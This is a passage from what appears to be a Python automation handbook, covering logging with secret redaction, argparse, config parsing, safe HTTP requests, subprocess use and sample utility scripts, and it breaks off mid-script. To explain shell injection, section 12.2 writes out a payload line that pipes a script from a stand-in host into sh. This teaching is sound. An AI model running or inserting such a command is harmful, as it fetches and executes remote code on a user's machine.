`print` writes to stdout. Stdout is your program's **output** — the thing a caller pipes into `jq` or redirects to a file. Diagnostics are not output. They belong on stderr, and they belong behind a level so the caller can turn them off.

Use `print` when	Use `logging` when
The text **is** the deliverable — the list of files, the JSON report, the thing you'd pipe	The text is a diagnostic — what the program is doing, why it retried, what it skipped

8.1 Configuration

```
import logging
import sys

logger = logging.getLogger(__name__)


def configure_logging(verbose: bool) -> None:
    level = logging.DEBUG if verbose else logging.INFO
    logging.basicConfig(
        level=level,
        format="%(levelname)s: %(message)s",
        stream=sys.stderr,           # explicit; basicConfig defaults here anyway
    )
```

Call `configure_logging` exactly once, from `main()`. Never from module import — a library that configures the root logger on import is a library that fights every application that uses it.

DO THIS

Use `logger = logging.getLogger(__name__)` at module level. The `__name__` gives you a hierarchical name (`mytool.core`, `mytool.cli`) so the caller can raise or lower the level of one subsystem without touching the others:

```
logging.getLogger("mytool.http").setLevel(logging.DEBUG)
```

8.2 Levels

Level	Value	Use for
`DEBUG`	10	Wire-level detail. Request URLs, retry counts, skipped paths. Off by default.
`INFO`	20	Milestones a human would want in a log file. "Processed 412 files."
`WARNING`	30	Something is wrong but the program continues. Deprecated config key, a retry.
`ERROR`	40	An operation failed. The program may still continue with others.
`CRITICAL`	50	The program cannot continue. Rare in scripts.

8.3 Lazy formatting

```
# Correct — the string is only built if the level is enabled.
logger.debug("scanning %s (%d bytes)", path, size)
```

```
# Wasteful — the f-string is built and interpolated even when DEBUG is off.
logger.debug(f"scanning {path} ({size} bytes)")
```

Irrelevant for a script that logs twice. Very relevant in a loop over 200,000 files where `DEBUG` is disabled.

8.4 Exceptions in logs

```
try:
    risky()
except ToolError:
    logger.exception("risky() failed")   # includes the full traceback. ERROR level.
    # equivalently: logger.error("...", exc_info=True)
```

`logger.exception` is only valid inside an `except` block.

8.5 Logging to a file, and redaction

```
import logging
import re
from pathlib import Path

SECRET = re.compile(
    r"(?i)(bearer\s+|(?:api[_-]?key|token|secret|password)\s*[:=]\s*)(\S+)"
)


class RedactingFilter(logging.Filter):
    """Strip credential-shaped substrings from every record before it is emitted."""

    def filter(self, record: logging.LogRecord) -> bool:
        if isinstance(record.msg, str):
            record.msg = SECRET.sub(r"\1***", record.msg)
        if record.args:
            record.args = tuple(
                SECRET.sub(r"\1***", a) if isinstance(a, str) else a
                for a in record.args
            )
        return True                          # True = keep the record


def configure_logging(verbose: bool, log_file: Path | None = None) -> None:
    root = logging.getLogger()
    root.setLevel(logging.DEBUG if verbose else logging.INFO)

    console = logging.StreamHandler()     # defaults to stderr
    console.setFormatter(logging.Formatter("%(levelname)s: %(message)s"))
    console.addFilter(RedactingFilter())
    root.addHandler(console)

    if log_file is not None:
        log_file.parent.mkdir(parents=True, exist_ok=True)
        fh = logging.FileHandler(log_file, encoding="utf-8")
        fh.setLevel(logging.DEBUG)        # file gets everything
        fh.setFormatter(logging.Formatter(
            "%(asctime)s %(levelname)-8s %(name)s: %(message)s"
        ))
        fh.addFilter(RedactingFilter())
        root.addHandler(fh)
```

```
def redact(value: str, visible: int = 4) -> str:
    """Show enough of a credential to identify it, not enough to use it."""
    if len(value) <= visible:
        return "***"
    return f"{value[:visible]}..."
```

WARNING

A redaction filter is a **seatbelt**, not a strategy. It catches the credentials shaped like the ones you thought of. The actual defense is to never put a secret in a log message in the first place — don't log request headers, don't log full URLs with query strings, don't `logger.debug("payload: %s", body)`.

Also: `RedactingFilter` mutates `record.msg` in place. If the same record object reaches two handlers, the second sees the already-redacted version. That is fine here (redaction is idempotent) but it's a sharp edge worth knowing about with filters generally.

09 Command-line scripts with `argparse`

`argparse` is in the standard library, it handles `--help` for free, and it exits with status 2 on a usage error without you writing a line. That is enough to make it the default. `typer` and `click` are better ergonomics; they are also dependencies.

9.1 The working example

```
import argparse
import logging
from pathlib import Path

logger = logging.getLogger(__name__)


def parse_args(argv: list[str] | None = None) -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        prog="scan",
        description="List files by extension.",
        epilog="Exit codes: 0 ok, 1 error, 2 usage.",
    )
    parser.add_argument("directory", type=Path, help="Directory to scan.")
    parser.add_argument("--ext", default=".txt", help="Extension to match (default: %(default)s).")
    parser.add_argument("--min-size", type=int, default=0, metavar="BYTES")
    parser.add_argument(
        "--format",
        choices=("plain", "json"),
        default="plain",
    )
    parser.add_argument("--recursive", action=argparse.BooleanOptionalAction, default=True)
    parser.add_argument("--dry-run", action="store_true", help="Report; change nothing.")
    parser.add_argument("-v", "--verbose", action="store_true")
    return parser.parse_args(argv)       # argv=None reads sys.argv[1:]


def main(argv: list[str] | None = None) -> int:
    args = parse_args(argv)
    configure_logging(args.verbose)

    directory: Path = args.directory.expanduser().resolve()
    if not directory.is_dir():
        logger.error("not a directory: %s", directory)
        return 2

    pattern = f"*{args.ext}"
    walk = directory.rglob(pattern) if args.recursive else directory.glob(pattern)

    for path in sorted(walk):
        if not path.is_file():
            continue
        if path.stat().st_size < args.min_size:
            continue
        print(path)

    return 0
```

```
if __name__ == "__main__":
    raise SystemExit(main())
```

Threading `argv` through `parse_args` and `main` is what makes the CLI testable: `assert main(["--ext", ".log", str(tmp_path)]) == 0`, with no subprocess and no monkeypatching of `sys.argv`.

9.2 Argument reference

Pattern	Effect
`add_argument("path")`	Required positional.
`add_argument("paths", nargs="+")`	One or more positionals → a list. `"*"` = zero or more, `"?"` = optional.
`add_argument("--ext", default=".txt")`	Optional flag with a default.
`add_argument("--count", type=int)`	`type=` is any callable: `int`, `float`, `Path`, or your own validator.
`add_argument("--force", action="store_true")`	Boolean flag. Absent → `False`.
`action=argparse.BooleanOptionalAction`	3.9+. Generates both `--force` and `--no-force`.
`choices=("a", "b")`	Validated enumeration. Bad value → clean usage error, exit 2.
`required=True`	On an **optional** flag. Legal but a smell — make it positional.
`metavar="BYTES"`	The placeholder shown in `--help`.
`help="... (default: %(default)s)"`	`%(default)s` interpolates the default into the help text.
`dest="output_path"`	Override the attribute name. `--out-file` already becomes `args.out_file`.
`action="append"`	Repeatable flag: `-I a -I b` → `["a", "b"]`.
`add_mutually_exclusive_group()`	`--quiet` xor `--verbose`.

9.3 Custom validation

```
def existing_dir(raw: str) -> Path:
    path = Path(raw).expanduser().resolve()
    if not path.is_dir():
        raise argparse.ArgumentTypeError(f"not a directory: {path}")
    return path


parser.add_argument("directory", type=existing_dir)
```

Raising `ArgumentTypeError` from a `type=` callable produces argparse's own clean usage message and exit code 2 — not a traceback.

9.4 Subcommands

```
parser = argparse.ArgumentParser(prog="mytool")
parser.add_argument("-v", "--verbose", action="store_true")   # global flag
sub = parser.add_subparsers(dest="command", required=True)

p_scan = sub.add_parser("scan", help="Scan a directory.")
```

```
p_scan.add_argument("directory", type=Path)
p_scan.set_defaults(func=cmd_scan)

p_hash = sub.add_parser("hash", help="Hash files.")
p_hash.add_argument("paths", nargs="+", type=Path)
p_hash.set_defaults(func=cmd_hash)

args = parser.parse_args()
raise SystemExit(args.func(args))        # dispatch
```

`set_defaults(func=...)` is the clean dispatch idiom — no `if args.command == ...` chain.

9.5 Dry-run

DO THIS

Any script that deletes, moves, renames, or overwrites gets a `--dry-run` flag, and `--dry-run` should be the **safe** direction. Do the work of computing the plan; skip only the mutation.

```
for src, dst in plan:
    if args.dry_run:
        logger.info("[dry-run] %s -> %s", src, dst)
        continue
    src.replace(dst)
```

Make it loud: prefix every line so nobody reads a dry-run transcript and believes the work happened.

010 JSON, CSV, and config

10.1 JSON

```
import json
from pathlib import Path

data = json.loads(Path("config.json").read_text(encoding="utf-8"))
print(json.dumps(data, indent=2, sort_keys=True))
```

Call	Direction
`json.loads(s)`	`str` / `bytes` → Python. The `s` is for “string.”
`json.load(fh)`	File object → Python.
`json.dumps(obj)`	Python → `str`.
`json.dump(obj, fh)`	Python → file object.

dumps kwarg	Effect
`indent=2`	Pretty-print. Omit for compact machine output.
`sort_keys=True`	Deterministic key order → diffable output. Do this for anything committed to git.
`ensure_ascii=False`	Emit real UTF-8 instead of `\\uXXXX` escapes.
`default=str`	Fallback serializer. Turns `Path`, `datetime`, `Decimal` into strings instead of raising `TypeError`.
`separators=(",", ":")`	Most compact possible output.

FOOTGUN
JSON has no integer/float distinction the way Python does, no date type, no comments, and no trailing commas. Round-tripping is lossy: `json.loads(json.dumps({1: "a"}))` gives you `{"1": "a"}` — the integer key silently became a string. Tuples become lists. Sets raise `TypeError`.

```
import json
from datetime import datetime, timezone
from pathlib import Path


def json_default(obj: object) -> str:
    if isinstance(obj, (Path, datetime)):
        return str(obj)
    raise TypeError(f"not JSON-serializable: {type(obj).__name__}")


report = {
    "generated": datetime.now(timezone.utc),
    "root": Path.home() / "Downloads",
    "files": 412,
}
print(json.dumps(report, indent=2, sort_keys=True, default=json_default))
```

10.2 Validating config

Never trust a config file. It is user input.

```
import json
from pathlib import Path


class ConfigError(Exception):
    """Configuration is present but wrong."""


REQUIRED = {"api_url": str, "timeout": (int, float), "retries": int}


def load_config(path: Path) -> dict:
    try:
        raw = path.read_text(encoding="utf-8")
    except FileNotFoundError as exc:
        raise ConfigError(f"no config at {path}") from exc

    try:
        data = json.loads(raw)
    except json.JSONDecodeError as exc:
        raise ConfigError(f"{path} line {exc.lineno}: {exc.msg}") from exc

    if not isinstance(data, dict):
        raise ConfigError(f"{path}: top level must be an object")

    for key, expected in REQUIRED.items():
        if key not in data:
            raise ConfigError(f"{path}: missing required key {key!r}")
        if not isinstance(data[key], expected):
            raise ConfigError(
                f"{path}: {key!r} must be {expected}, got {type(data[key]).__name__}"
            )

    if data["retries"] < 0:
        raise ConfigError(f"{path}: retries must be >= 0")

    return data
```

Past two or three keys, stop hand-rolling this and use `pydantic`. That is exactly the kind of complexity a dependency is supposed to buy you out of.

10.3 CSV

NEVER

```
for line in path.read_text().splitlines():
    fields = line.split(",")          # WRONG
```

A CSV field may legally contain a comma, a quote, or a newline — inside quotes. Naive `split(",")` corrupts the data silently. Always use the `csv` module.

```
import csv
from pathlib import Path

# newline="" is REQUIRED — the csv module handles line endings itself.
```

```
# Omitting it corrupts quoted fields containing \r\n on some platforms.
with Path("data.csv").open("r", encoding="utf-8", newline="") as fh:
    for row in csv.DictReader(fh):
        print(row["hostname"], row["status"])
```

```
import csv
from pathlib import Path

rows = [
    {"path": "/tmp/a.log", "size": 1024},
    {"path": "/tmp/b.log", "size": 2048},
]

with Path("report.csv").open("w", encoding="utf-8", newline="") as fh:
    writer = csv.DictWriter(fh, fieldnames=["path", "size"])
    writer.writeheader()
    writer.writerows(rows)
```

WARNING

CSV injection. If your CSV will be opened in Excel, Numbers, or Google Sheets, a field beginning with `=`, `+`, `-`, or `@` is interpreted as a **formula** — including ones that can invoke `DDE` or exfiltrate data. If any field is attacker-influenced, prefix it:

```
def csv_safe(value: str) -> str:
    return "'" + value if value[:1] in ("=", "+", "-", "@", "\t", "\r") else value
```

Everything the `csv` module reads is a `str`. `row["size"]` is `"1024"`, not `1024`. Convert explicitly.

10.4 TOML

```
import tomllib                          # 3.11+ stdlib. READ ONLY.
from pathlib import Path

with Path("pyproject.toml").open("rb") as fh:     # binary mode, mandatory
    config = tomllib.load(fh)

print(config["project"]["name"])
print(config["project"].get("dependencies", []))
```

`tomllib` cannot **write** TOML. If you need to emit it, add `tomli-w`.

10.5 Environment variables

```
import os

# Required — fail loudly and immediately.
token = os.environ["API_TOKEN"]                 # raises KeyError if unset

# Optional with a default.
timeout = float(os.environ.get("TIMEOUT", "30"))

# Boolean, done properly. Everything in the environment is a string.
debug = os.environ.get("DEBUG", "").lower() in {"1", "true", "yes", "on"}
```

FOOTGUN

`bool(os.environ.get("DEBUG"))` is `True` for the string `"false"`, `"0"`, and `"no"`. Every non-empty string is truthy. This bug ships to production constantly.

MACOS / LAUNCHD

A `launchd` job does not inherit your shell environment. Neither does `cron`. Neither does a systemd unit. `$PATH` will be minimal and your `~/.zshrc` exports will not exist. This is the 1 cause of "works in my terminal, fails on schedule."

Fix it by declaring what you need: `EnvironmentVariables` in the plist, `Environment=` in the unit, or read from a file with explicit permissions. Never assume.

10.6 `.env` files

`python-dotenv` reads a `.env` file into `os.environ`. Convenient for local dev.

NEVER

Commit a `.env`. Add it to `.gitignore` **before** you create it, commit a `.env.example` with the keys and no values, and understand that `.env` is a **developer convenience**, not a secrets management system. In production, use the platform's secret store (Keychain, systemd credentials, a vault, an IAM role) — not a file with `0644` on it.

011 HTTP APIs safely

`requests` is not in the standard library. It is worth the dependency; `urllib.request` is genuinely unpleasant. `httpx` is the modern alternative with the same API plus async and HTTP/2.

11.1 The minimum

```
import os
import requests


def get_json(url: str) -> dict:
    token = os.environ.get("API_TOKEN")
    if not token:
        raise RuntimeError("API_TOKEN is required")

    response = requests.get(
        url,
        headers={
            "Authorization": f"Bearer {token}",
            "Accept": "application/json",
        },
        timeout=30,           # NOT optional. See below.
    )
    response.raise_for_status()
    return response.json()
```

NEVER
Omit `timeout=`. `requests` has no default timeout. A request without one can hang forever on a half-open socket — your script does not crash, does not log, does not exit. It just stops. Forever. This is the single most common way a Python automation job dies silently at 3am.

`timeout=30` sets both connect and read. `timeout=(3.05, 30)` sets them separately, which is better: fail fast on connect, be patient on read.

11.2 The one you should actually copy

```
import logging
import os
from typing import Any, Iterator

import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

logger = logging.getLogger(__name__)

TIMEOUT = (3.05, 30)          # (connect, read)


def build_session() -> requests.Session:
    """A Session with connection pooling and transport-level retries."""
    session = requests.Session()

    retry = Retry(
        total=5,
```

```
        backoff_factor=0.5,               # 0.5s, 1s, 2s, 4s, 8s
        status_forcelist=(429, 500, 502, 503, 504),
        allowed_methods=frozenset({"GET", "HEAD", "OPTIONS"}),  # idempotent only
        respect_retry_after_header=True,  # honour the server's Retry-After
        raise_on_status=False,
    )
    adapter = HTTPAdapter(max_retries=retry, pool_maxsize=10)
    session.mount("https://", adapter)
    session.mount("http://", adapter)

    token = os.environ.get("API_TOKEN")
    if not token:
        raise RuntimeError("API_TOKEN is required")

    session.headers.update({
        "Authorization": f"Bearer {token}",
        "Accept": "application/json",
        "User-Agent": "mytool/1.0",       # be a good citizen; some APIs require it
    })
    return session


def get_json(session: requests.Session, url: str, **params: Any) -> dict:
    # NEVER f-string user input into a URL. `params=` handles encoding.
    logger.debug("GET %s params=%s", url, sorted(params))

    response = session.get(url, params=params, timeout=TIMEOUT)

    if response.status_code == 401:
        raise RuntimeError("401: token is missing, expired, or malformed")
    if response.status_code == 403:
        raise RuntimeError("403: token is valid but lacks permission for this resource")
    if response.status_code == 404:
        raise RuntimeError(f"404: no such resource: {response.url}")

    response.raise_for_status()           # anything else 4xx/5xx -> requests.HTTPError

    try:
        return response.json()
    except ValueError as exc:             # JSONDecodeError subclasses ValueError
        # Truncate. The body might be a 2MB HTML error page, or contain secrets.
        raise RuntimeError(
            f"expected JSON from {response.url}, got "
            f"{response.headers.get('content-type', '?')}: {response.text[:200]!r}"
        ) from exc


def paginate(session: requests.Session, url: str, **params: Any) -> Iterator[dict]:
    """Yield every item across all pages. Lazy — does not buffer the whole set."""
    page = 1
    while True:
        payload = get_json(session, url, page=page, per_page=100, **params)
        items = payload.get("items", [])
        if not items:
            return
        yield from items
        if not payload.get("has_more", len(items) == 100):
            return
        page += 1
```

```
with build_session() as session:          # Session is a context manager; closes the pool
    for item in paginate(session, "https://api.example.com/v1/things", status="open"):
        print(item["id"])
```

Status	What it actually means, and what to do
`200`	Success. Still check that the **body** is what you expect.
`201` / `204`	Created / No Content. `204` has no body — `.json()` will raise.
`301` / `302`	Redirect. `requests` follows by default and strips the `Authorization` header on cross-host redirects — which is correct, and which is why your token "randomly stops working."
`400`	Your request is malformed. Read the response body; it usually says how.
`401`	Not authenticated. Token missing, expired, or wrong format.
`403`	Authenticated but not authorized. A **different** problem from 401. Do not retry.
`404`	Not found. Sometimes an API returns this instead of 403 to avoid leaking existence.
`409`	Conflict. Usually an idempotency or version issue.
`422`	Semantically invalid. Common in REST APIs for validation failures.
`429`	Rate limited. Honour `Retry-After`. Do not hammer.
`5xx`	Server's problem. Safe to retry idempotent requests with backoff.

11.3 Retry, and what not to retry

Retries above are `GET` / `HEAD` / `OPTIONS` only, by design. Retrying a `POST` that timed out can double-charge a card or create two tickets — the request may well have **succeeded** and only the response was lost. If you must retry a `POST`, the API needs an idempotency key.

11.4 TLS

NEVER

```
requests.get(url, verify=False)        # NEVER
```

This disables certificate verification entirely. Anyone on the path can present any certificate and read and rewrite your traffic — including your bearer token. It "fixes" the error in the same sense that removing the smoke detector fixes the beeping.

A `SSLCertVerificationError` means one of three real things, each with a real fix:

- **Corporate TLS interception.** Point at the proxy's CA bundle: `verify="/path/to/corp-ca.pem"`, or set `REQUESTS_CA_BUNDLE` / `SSL_CERT_FILE`.
- **Stale trust store.** On macOS with a Homebrew or python.org build, run `/Applications/Python\ 3.12/Install\ Certificates.command`, or `python -m pip install --upgrade certifi`.
- **The certificate really is bad.** Then the connection really should fail.

11.5 Secrets

WARNING
A secret in any of the following is not a secret. It is a published credential with extra steps:

- a git commit — including one you later “removed”, because the object is still in the history and on every clone and on GitHub’s servers
- a Docker image layer
- a CI log
- a screenshot in a ticket
- a prompt pasted into an LLM
- the `Authorization` header you `logger.debug`’d
- frontend JavaScript, or a mobile app binary — anything shipped to a client is readable by that client, always, no exceptions

If a token has ever touched one of these, it is burned. Rotate it. Scrubbing history does not un-ring the bell.

012 Subprocesses safely

12.1 The rule

Pass a list. Never a string. Never `shell=True` with anything you didn't type yourself.

```
import subprocess

result = subprocess.run(
    ["rg", "--version"],
    text=True,               # decode stdout/stderr as str instead of bytes
    capture_output=True,     # capture both; without it they go to your terminal
    check=True,              # non-zero exit -> raise CalledProcessError
    timeout=10,              # seconds; -> TimeoutExpired
)

print(result.stdout)
```

12.2 Why the list matters

```
subprocess.run(f"rg {user_pattern}", shell=True)      # DANGEROUS
```

With `shell=True`, the string is handed to `/bin/sh`. The shell — not Python — does word splitting, glob expansion, variable substitution, and command chaining. If `user_pattern` is:

```
foo; curl -s https://evil.tld/x.sh | sh
```

...then `sh` sees two commands and runs both. Your process's user, your process's environment, your process's network access. The `;` is enough. So is `&&`, `|`, a backtick, `$(...)`, or a newline.

With the list form and the default `shell=False`, Python calls `execvp` directly with an argv array. There is no shell. `"; curl ... | sh"` is a single, literal argument — a search pattern that matches nothing. The injection is not **escaped**; the injection is **structurally impossible**, because there is no parser to confuse.

> **NEVER**
> Do not "fix" this with quoting. `shlex.quote` exists and works, but building a correctly-quoted shell string is a thing you can get wrong, and the list form is a thing you cannot get wrong. Reach for `shlex.quote` only when you must produce a shell string for something **else** to run — a `.sh` file, a remote `ssh` command.

12.3 When is `shell=True` acceptable?

Only when the entire command string is a static literal you wrote, and you actually need a shell feature — a pipeline, a glob, a redirect:

```
# Acceptable: nothing here is interpolated from anywhere.
subprocess.run("ps aux | grep -c '[p]ython'", shell=True, check=True)
```

And even then, prefer to do it in Python (`Path.glob`, wiring two `Popen` objects together, or just reading the output and filtering it). The moment an f-string or a variable enters that command string, you have reintroduced the vulnerability.

12.4 The arguments

Argument	Meaning
`args=[...]`	List. `args[0]` is the program, resolved via `PATH` unless it contains a slash.

`check=True`	Non-zero exit raises `CalledProcessError`. Default is `False` — without this, failures are silent and you'll use the empty stdout as if it were real data.
`capture_output=True`	Shorthand for `stdout=PIPE, stderr=PIPE`.
`text=True`	Decode as `str` using the locale encoding. Without it you get `bytes`.
`encoding="utf-8"`	Explicit codec. Better than bare `text=True` if the tool's output isn't locale-dependent.
`timeout=N`	Raises `TimeoutExpired`. The child is not killed automatically by `run()` — but `run()` does kill it before re-raising. `Popen` does not.
`cwd=path`	Working directory for the child. Better than `os.chdir()`, which mutates **your** process globally and is not thread-safe.
`env={...}`	Replaces the entire environment. Almost always wrong — build from a copy: `env = os.environ.copy(); env["FOO"] = "bar"`. A bare `env={"FOO": "bar"}` leaves the child with no `PATH`.
`input="..."`	Send to the child's stdin, then close it. Mutually exclusive with `stdin=`.
`stdout=subprocess.DEVNULL`	Discard.
`stderr=subprocess.STDOUT`	Merge stderr into stdout.

12.5 Handling the failure

```
import logging
import shutil
import subprocess
from pathlib import Path

logger = logging.getLogger(__name__)


def ripgrep(pattern: str, directory: Path) -> list[str]:
    """Search `directory` for `pattern`. Returns matching lines."""
    if shutil.which("rg") is None:
        raise RuntimeError("ripgrep (rg) is not installed or not on PATH")

    try:
        result = subprocess.run(
            ["rg", "--no-heading", "--line-number", "--", pattern, str(directory)],
            #                                          ^^ end-of-options guard:
            #  without it, a pattern starting with "-" is parsed as a FLAG by rg.
            text=True,
            capture_output=True,
            check=False,        # rg exits 1 on "no matches" — not an error
            timeout=60,
        )
    except subprocess.TimeoutExpired:
        logger.error("rg timed out after 60s in %s", directory)
        return []

    if result.returncode == 1:
        return []                                    # no matches
    if result.returncode != 0:
        raise RuntimeError(f"rg failed ({result.returncode}): {result.stderr.strip()}")
```

```
    return result.stdout.splitlines()
```

Two things there earn their keep. `shutil.which` turns a confusing `FileNotFoundError` — which sounds like it's about your **data** — into an honest error message. And the `--` guard: many CLI tools will happily interpret a user-supplied string starting with `-` as one of their own flags. `--` says "everything after this is an operand." Use it whenever you interpolate anything into an argv.

FOOTGUN
`CalledProcessError` from `check=True` puts the child's stderr in `exc.stderr` — but only if you captured it. Without `capture_output=True`, `exc.stderr` is `None` and the actual reason for the failure went to your terminal and is now gone. Capture, or you're debugging blind.

12.6 Streaming a long-running child

`run()` buffers everything in memory and returns when the child exits. For a command that runs for minutes and emits progress, use `Popen`:

```
import subprocess

with subprocess.Popen(
    ["rsync", "-a", "--info=progress2", str(src), str(dst)],
    stdout=subprocess.PIPE,
    stderr=subprocess.STDOUT,
    text=True,
    bufsize=1,                      # line-buffered
) as proc:
    for line in proc.stdout:        # streams as it arrives
        logger.info("rsync: %s", line.rstrip())

if proc.returncode != 0:
    raise RuntimeError(f"rsync failed with {proc.returncode}")
```

WARNING
Do not use `proc.wait()` while the child is filling a pipe you aren't reading. The OS pipe buffer is finite (typically 64 KiB). When it fills, the child blocks on write, forever, and your `wait()` blocks on the child, forever. Classic deadlock. Use `proc.communicate()` (which reads both pipes concurrently) or drain the pipe in a loop as above.

013 Automation recipes

Every recipe here is complete and runnable. Save it, `chmod +x`, run it.

13.1 Organize a folder by extension

organize.py — dry-run by default

```
#!/usr/bin/env python3
"""Move files into per-extension subdirectories. Dry-run unless --apply."""

import argparse
import logging
from pathlib import Path

logger = logging.getLogger("organize")

SKIP = {".DS_Store", ".localized"}


def plan(root: Path) -> list[tuple[Path, Path]]:
    moves: list[tuple[Path, Path]] = []
    for path in root.iterdir():
        if not path.is_file() or path.is_symlink():
            continue
        if path.name in SKIP or path.name.startswith("."):
            continue

        bucket = root / (path.suffix.lower().lstrip(".") or "no-extension")
        target = bucket / path.name

        # Never clobber. Find a free name: report.pdf -> report-1.pdf
        counter = 1
        while target.exists():
            target = bucket / f"{path.stem}-{counter}{path.suffix}"
            counter += 1

        moves.append((path, target))
    return moves


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("directory", type=Path)
    parser.add_argument("--apply", action="store_true", help="Actually move files.")
    args = parser.parse_args()

    logging.basicConfig(level=logging.INFO, format="%(message)s")

    root = args.directory.expanduser().resolve()
    if not root.is_dir():
        logger.error("not a directory: %s", root)
        return 2

    moves = plan(root)
    if not moves:
```

```
        logger.info("nothing to do")
        return 0

    for src, dst in moves:
        if not args.apply:
            logger.info("[dry-run] %s -> %s/", src.name, dst.parent.name)
            continue
        dst.parent.mkdir(exist_ok=True)
        src.replace(dst)                  # same filesystem: atomic
        logger.info("moved %s -> %s/", src.name, dst.parent.name)

    if not args.apply:
        logger.info("\n%d file(s). Re-run with --apply to execute.", len(moves))

    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

Run: `python3 organize.py ~/Downloads` then `python3 organize.py ~/Downloads --apply`

Footguns: `src.replace(dst)` is atomic only on the same filesystem — fine here, since the buckets are subdirectories of the source. It also **silently overwrites** on POSIX, which is why the collision loop exists. Symlinks are skipped so you don't move a link and orphan its target. `iterdir()` is not recursive, which is deliberate: recursion here would mean the script walks into the buckets it just created.

13.2 Find large files

bigfiles.py

```
#!/usr/bin/env python3
"""Report the largest files under a directory tree."""

import argparse
import logging
from pathlib import Path

logger = logging.getLogger("bigfiles")


def human(size: int) -> str:
    for unit in ("B", "KiB", "MiB", "GiB", "TiB"):
        if size < 1024 or unit == "TiB":
            return f"{size:,.1f} {unit}" if unit != "B" else f"{size:,} B"
        size /= 1024
    return f"{size:,.1f} TiB"


def scan(root: Path) -> list[tuple[int, Path]]:
    found: list[tuple[int, Path]] = []
    for path in root.rglob("*"):
        try:
            if path.is_symlink() or not path.is_file():
                continue
            found.append((path.stat().st_size, path))
```

```
        except (PermissionError, OSError) as exc:
            # A single unreadable directory must not abort the whole walk.
            logger.debug("skipping %s: %s", path, exc)
    return sorted(found, reverse=True)


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("directory", type=Path)
    parser.add_argument("-n", "--top", type=int, default=20)
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    logging.basicConfig(
        level=logging.DEBUG if args.verbose else logging.WARNING,
        format="%(levelname)s: %(message)s",
    )

    root = args.directory.expanduser().resolve()
    if not root.is_dir():
        logger.error("not a directory: %s", root)
        return 2

    for size, path in scan(root)[: args.top]:
        print(f"{human(size):>12}  {path}")

    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

Run: `python3 bigfiles.py / -n 30` (expect noise; add `-v` to see what's being skipped)

Footguns: `rglob("*")` on `/` will hit directories you cannot read and, on macOS, will walk into `/System/Volumes/Data` and produce apparent duplicates via firmlinks. The `try/except` around `stat()` is doing real work here — without it, one `PermissionError` ends the entire scan. This builds the full list in memory before sorting; for a tree with millions of files use `heapq.nlargest` instead.

13.3 Hash files with SHA-256

hashfiles.py

```
#!/usr/bin/env python3
"""Compute SHA-256 for one or more files. Constant memory."""

import argparse
import hashlib
from pathlib import Path

CHUNK = 1024 * 1024          # 1 MiB


def sha256(path: Path) -> str:
    digest = hashlib.sha256()
```

```
    with path.open("rb") as fh:                 # binary. Always binary.
        while chunk := fh.read(CHUNK):          # walrus: read, assign, test
            digest.update(chunk)
    return digest.hexdigest()


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("paths", nargs="+", type=Path)
    args = parser.parse_args()

    status = 0
    for path in args.paths:
        try:
            print(f"{sha256(path)}  {path}")
        except (FileNotFoundError, IsADirectoryError, PermissionError) as exc:
            print(f"error: {path}: {exc.strerror or exc}")
            status = 1

    return status


if __name__ == "__main__":
    raise SystemExit(main())
```

Run: `python3 hashfiles.py ~/Downloads/*.dmg` — output is `shasum -a 256` compatible, so `python3 hashfiles.py x.iso | shasum -a 256 -c -` works.

Footguns: The chunked read is the whole point — `hashlib.sha256(path.read_bytes())` loads the entire file into RAM and dies on a 40 GB image. Never use MD5 or SHA-1 for anything security-relevant; both have practical collision attacks. For **comparing a password** to a stored hash, none of this applies — you want `hashlib.scrypt`, `bcrypt`, or `argon2`, and you want a salt.

13.4 Scan text files for a pattern

logscan.py

```
#!/usr/bin/env python3
"""Stream-scan files for a regex. Reports path:line:text. Constant memory."""

import argparse
import re
import sys
from pathlib import Path


def scan(path: Path, pattern: re.Pattern[str]) -> list[tuple[int, str]]:
    hits: list[tuple[int, str]] = []
    # surrogateescape: log files are full of bytes that are not valid UTF-8.
    # This round-trips them instead of raising UnicodeDecodeError mid-scan.
    with path.open("r", encoding="utf-8", errors="surrogateescape") as fh:
        for number, line in enumerate(fh, start=1):     # lazy: one line in memory
            if pattern.search(line):
                hits.append((number, line.rstrip("\n")))
    return hits
```

```
def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("pattern")
    parser.add_argument("paths", nargs="+", type=Path)
    parser.add_argument("-i", "--ignore-case", action="store_true")
    args = parser.parse_args()

    try:
        flags = re.IGNORECASE if args.ignore_case else 0
        pattern = re.compile(args.pattern, flags)
    except re.error as exc:
        print(f"bad pattern: {exc}", file=sys.stderr)
        return 2

    found = False
    for path in args.paths:
        if not path.is_file():
            continue
        for number, line in scan(path, pattern):
            print(f"{path}:{number}:{line}")
            found = True

    return 0 if found else 1              # grep convention


if __name__ == "__main__":
    raise SystemExit(main())
```

Run: `python3 logscan.py -i 'failed password' /var/log/*.log`

Footguns: This is `grep`, slowly. If `rg` is on the box, shell out to it — see §12 — and get 50× the throughput. Write this only when you need to do something Python-shaped with each hit. Also: a pathological regex (nested quantifiers like `(a+)+b`) can hang on a long line — Python's `re` engine backtracks and has no timeout.

13.5 Call an API and save the result

fetch.py

```
#!/usr/bin/env python3
"""Fetch JSON from an API and write it atomically to disk."""

import argparse
import json
import logging
import os
import sys
import tempfile
from pathlib import Path

import requests

logger = logging.getLogger("fetch")
TIMEOUT = (3.05, 30)
```

```
def atomic_write_text(path: Path, content: str) -> None:
    path.parent.mkdir(parents=True, exist_ok=True)
    with tempfile.NamedTemporaryFile(
        "w", encoding="utf-8", dir=path.parent, delete=False,
    ) as tmp:
        tmp.write(content)
        tmp_path = Path(tmp.name)
    tmp_path.replace(path)


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("url")
    parser.add_argument("-o", "--output", type=Path, required=True)
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    logging.basicConfig(
        level=logging.DEBUG if args.verbose else logging.INFO,
        format="%(levelname)s: %(message)s",
        stream=sys.stderr,          # keep stdout clean for real output
    )

    token = os.environ.get("API_TOKEN")
    if not token:
        logger.error("API_TOKEN is not set")
        return 2

    headers = {"Authorization": f"Bearer {token}", "Accept": "application/json"}

    try:
